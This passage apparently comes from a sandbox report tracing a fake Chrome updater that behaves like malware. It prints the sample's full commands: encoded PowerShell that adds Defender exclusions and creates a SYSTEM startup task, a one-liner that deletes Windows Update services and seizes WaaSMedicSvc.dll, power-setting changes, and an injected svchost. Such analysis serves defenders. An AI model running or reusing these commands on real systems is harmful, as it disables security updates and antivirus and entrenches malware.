L/LfrIbq/+TBSDitxJAKdygoOF/a7xOoO13cmMsrPK7j1sDwTmcYooVYBLPVtZWcYPpYQViEJJkuoN6yP0kn6cLkVSWdmNEo+Whol+gDfLFowN1ySfKqkj0wQIeNL7jMB75o65P5pNv/AYlwya2bFCHszVgrG7xfrmpywe7LijLT9s8A8P6wheR+Fq/OHWfVfjsWEqMCew4PuzgeQ6NgaqZJ+Y2XjK05vMqUSlDDSn/wpBmAiPGpI24FOXp/7Z8m9Km/zGV4mStq8ZvbbZifup17YQ9FJ6oBMFMS4gc5Y8oFpUjuTtc6NKGd3RAAXGuF0YZyRfEJmtsrPcZOroDed4EjGJgNTkg43D/ABg2glUN27aI1G97T+ojP44jpHhEU3Lj5I54Zak6eFKkIheeKdv73IHLN8O8HHeS6HdUZWimLsVa4zji7UFy7o6cLXGc/Eq5hYQUzeRSlEmdk3F/qNdOcqL3lcw+6uNo4/QEXBoZXHn/8AgVDOaPGeI2Wob4JC+VyMXFoPgVWR/3Br2EuRudyMBOMvgGxefLUZXVd74mIJEvRYqPrYe1Yn9j9TXnR4enLcM7hSKrfRJU0xiXaS7ExxuJ6Srkp0nQq7vH1mMqR8RVLHBr3ppAruJ181NF6XbwXJKbb5o9mev73Gi7le9PWpd1p8s3bvof1D8Z77xAeP9FyTMJ/55kMuCbYtJ5OnZAR1M1wM0c1r5ZwviQirnlCZcAttnj7GJ26b19VU1Kguf0ePzv76AmWNN89k0lL+FdVSPDKCDlFEl8E9Ak755kVq5GBSz4GSXekDHkNX6htiQENH6WyMcNhVx35Z1g7m8A7Zt9WSyji0+v0sO5t1s6nwgLWZ4ygI1zi1op8TFaZkO1B8ngYUd9nGDYlwQFfvs4BNhAFD8Hw6Q3Cx/8p9t/UQQKDrQeNEjOPBLbnQd5+xeoCfjaKnj3SwaaprLRhFxvVMwvQIfTY1wiOsf2pH+Tcfu6o3KHr+M3mlMOab9fv8Utk1809gpKxzMrqNU+/nDKiUknMrVbNnoKvNE7L6Ir0hQec6YZoL04r763W5PP67j/52LUYKIq3fobEIt13vWk9Bbty/uiK/AU3GBoBOrqf7Mj5Bf+pC78HHlzEDyPJfp2B0fhm5TlTpJSkgp66q3IM/uKS1OXG/UaSJlp1i+bKwQchSkRA+w02dEY4kPPYBHqeL+hMBkmMn6pGvH0SK/9/jiFyWzt7pBSgTPINyrYmmHd2w9d42YLUdDHtWBfTq9MIF4GOsIf0y+9ZHlJeihFQSINBoU5hRNNw7kLx827lbbtVrhzl54RgM5uTJXy3SbmbuzAN3NUQgYmHvMLltAczC80Un9n8cUqaXDgJqKO2kcj5DVpsXD4Lvr3dbi+65KqGqZLQ8PFp/LLRK4BLiiPvtfCpBpnfWtgjSv8=
      4⤵
      Executes dropped EXE
      PID:3580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:1628
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:5424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:6400
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:2104
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:1168
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:3652
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:6572
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:6472
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:1088
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        
        PID:5928
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:2468
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:5480
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:2772
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:3612
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2588
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3952
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:4364
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:3388
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:1152
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        
        PID:6008
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:5084
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:4100
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:5940
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:3752
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:5768
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:2668
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:1864
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:7164
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5220
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:3724
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4084
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:6192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:6696
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:1208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:1240
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:5588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:4920
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:4588
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:7140
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:4236
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:5540
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:3472
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:2788
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:4608
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:1676
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:2328
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:7144
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:4132
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3504
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1684
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4832
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        
        PID:4708
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        
        PID:4420
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2832
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:860
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:5320
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:2928
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:6444
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:4164
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:1292
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:2224
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:3808
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1608
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:3912
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:6872
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:5316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4A